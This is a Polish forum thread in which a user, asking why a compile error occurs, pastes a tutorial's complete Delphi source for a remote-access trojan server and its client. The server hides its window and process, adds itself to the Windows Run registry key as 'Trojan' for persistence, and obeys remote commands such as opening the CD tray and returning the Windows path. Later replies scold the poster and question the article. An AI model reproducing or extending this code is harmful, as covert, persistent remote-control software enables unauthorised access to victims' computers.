prosze pomuzcie mi

0

czemu ten klient z artykykułu o pisaniu trojanów nie dziala......
jest on zamieszczony na tej stronce kompilator czepia sie cos do tego sendtext
HELP ME!!!!!!!!!!!!!!!1

Otwieramy nowy projekt File>New Application. Na formie umieszczamy następujące komponenty:

  • TClientSocket (Nazwa: ClientSocket1) - do łączenia z serwem
  • TEdit (Nazwa: Edit1) - do wpisywania Hosta serwera
  • TMemo (nazwa: Memo1) - do odczytu od clienta
  • TButton (Nazwa: Button1) - do nawiązania połączenia
  • TButton (Nazwa: Button2) - do zrywania połączenia
  • TButton (Nazwa: Button3) - do otwierania cd serwera
  • TButton (Nazwa: Button4) - do zamykania cd serwera
  • TButton (Nazwa: Button5) - do ściągania ścieżki windowsa z
    serwera
  • TSpinEdit (Nazwa: SpinEdit1) - do określania portu

INFO: Można oczywiście stworzyć clienta bez określania Hosta na TEdit ale automatycznie. Jednak takie rozwiązanie jest przydatne tylko wtedy, kiedy host jest zawsze taki sam.

Teraz zaczynamy mieszać w kodzie. Najpierw musimy zrobić prawidłowy odczyt od serwera. W Onread komponentu ClentSocket1 wpisujemy taki kod:

-------- cut here --------
memo1.lines.add(Socket.ReceiveText);
-------- cut here --------

Teraz wszystkie stringi wysyłane przez nasz serwer trafią na nasz komputer :). Teraz mała procedura, która zrealizuje połączenie z serwerem. Klikamy dwókrotnie na komponent Button1 i
wpisujemy taką procedurę;

-------- cut here --------
ClientSocket1.addres := edit1.text;
ClientSocket1.host := edit1.text;
ClientSocket1.port := SpinEdit1.Value;
ClientSocket1.Active := True;
-------- cut here --------

Teraz w zdarzeniu Button2 wpisujemy taki fragment kodu:

-------- cut here --------
ClientSocket1.Active := false;
-------- cut here --------

Ot stworzyliśmy buttony do realizowania połączenia (button1) i zrywania połaczenia (button2).

Teraz tylko pozostało nam buttonów do wydawania poleceń dla serwera.

W zdarzeniu Button3 wpisujemy

-------- cut here --------
socket.sendtext('cd-open');
-------- cut here --------

W zdarzeniu Button4 wpisujemy

-------- cut here --------
socket.sendtext('cd-close');
-------- cut here --------

W zdarzeniu Button5 wpisujemy

-------- cut here --------
socket.sendtext('ścieżka dostępu');
-------- cut here --------

I to już koniec budowy klienta :)
Oto opis funcji przycisków:

  • Button1 : połączenie z serwerem
  • Button2 : zerwanie połączenia
  • Button3 : otwieranie cd
  • Button4 : zamykanie cd
  • Button5 : pobranie ścieżki Windowsa na serwerze

A oto całkowite kody źródłowe clienta i serwera:

SERWER
-------- cut here --------
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Registry, MMSystem, Classes,
Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Timer1: TTimer;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var komenda : string;
Sciezka : array[0..MAX_PATH] of char;

begin
Komenda := Socket.ReceiveText;

{zmienna wprowadzona po to, aby zastąpi
Socket.ReceiveText stringiem 'komenda'
wcelu ułatwienia pracy.}

{procedury dla danych komend ... - początek}

if komenda = 'cd-open' then
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;

if komenda = 'cd-close' then
begin
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;

if komenda = 'ścieżka dostępu' then
begin
GetWindowsDirectory(Sciezka,sizeof(Sciezka));
socket.sendtext(Sciezka);
end;

{procedury dla danych komend ... - koniec}

end;

procedure TForm1.FormCreate(Sender: TObject);
var
ExtendedStyle:Integer;
begin
registerserviceprocess(0,1);
ExtendedStyle:=GetWindowLong(Application.Handle,
GWL_EXSTYLE);
SetWindowLong(Application.Handle,GWL_EXSTYLE,
ExtendedStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
Reg : TRegistry;
Sciezka : array[0..MAX_PATH] of char;
X : string;
begin
Reg := TRegistry.Create;
try
ShowWindow(Handle,SW_HIDE);
GetCurrentDirectory(sizeof(Sciezka),Sciezka);
X := (Sciezka+'\Serwer.exe');
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',
True);
Reg.WriteString('Trojan', X);
finally
Reg.Free;
end;
end;

end.

-------- cut here --------

KLIENT

-------- cut here --------
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs,
Spin, StdCtrls, ScktComp;

type
TForm1 = class(TForm)
Edit1: TEdit;
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
SpinEdit1: TSpinEdit;
Button3: TButton;
Button4: TButton;
Button5: TButton;
ClientSocket1: TClientSocket;
procedure ClientSocket1Read(Sender: TObject; Socket:
TCustomWinSocket);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo1.lines.add(Socket.ReceiveText);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.addres := edit1.text;
ClientSocket1.host := edit1.text;
ClientSocket1.port := SpinEdit1.Value;
ClientSocket1.Active := True;
end;

end.
-------- cut here --------

0
  1. Czemu napisałeś aż 2 posty?
  2. Nikomu się nie chce tego czytać
  3. Poszedłeś na straszną łatwiznę. Jak chcesz trojana, to przynajmniej go napisz, a kompletne minimum, to chociaż sam pomyśl co jest nie tak :-8
0

Kiedys byl taki post nt. tytulowania postow!!! Chyba wiesz o co chodzi. Postaraj sie w temacie postu zamiescic info o czym jest post a nie pisac tematow w stylu: TO WAZNE, POMOCY itp.

0

Oh shit! A już myślałem że to ja piszę najdłuższe posty... :d

0

hmmm o ile pamiętam ja też miałem takie problemy:)

0

Tak Kapustka ty piszesz najdłuższe posty!!! Ten to tylko kod skopiowany z progu!!!!

0

dzieki wielkie za pomoc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

ale jak byście chcieli wiedziec too probowalem ....................rozne mozliwosci......

p.s strasznie mi pomogliscie dzieki...........

0

A propos trojanów. Po długich namysłach doszedłem do wniosku, że to pewna niekonsekwencja umieszczać artykuł o trojanach, a jednocześnie ostro męczyć tych co próbują je pisać.
Wiem, że znajomość zasad działania trojanów ułatwia pisanie np. zapór ogniowych czy w ogóle programów typu klient/serwer, ale widzę, że tu zgłaszają się tylko sami amatorzy-niszczyciele, którzy chcą jakiemuś znajomemu podrzucić trojana, wirusa lub jakieś inne świństwo.
Może warto by pomyśleć nad usunięciem tego artykułu?

0

pomóżcie się chyba tak pisze, a on liczył na pomoc jak nawet napisać 3 słów poprawnie nie może

Denerwuje mnie jak ktoś z chwilowych pobudek od kolegi pirata bierze delphi i jak najszybciej chce napisać jakieś paskudstwo, bo ktoś na niego krzywo spojrzał.
Napisz notatnik potem coś innego a potem jak juz sie nauczysz to napisz sobei trojana. Niezapomnij ze większość programów antywirusowych wykrywa takie bzdury i nie pozwala na kontynuacje.

A nie pomyslałeś ze Adam może celowo zmienił jakąś linijkę aby ktoś początkujący sobie nie poradził.

1 użytkowników online, w tym zalogowanych: 0, gości: 1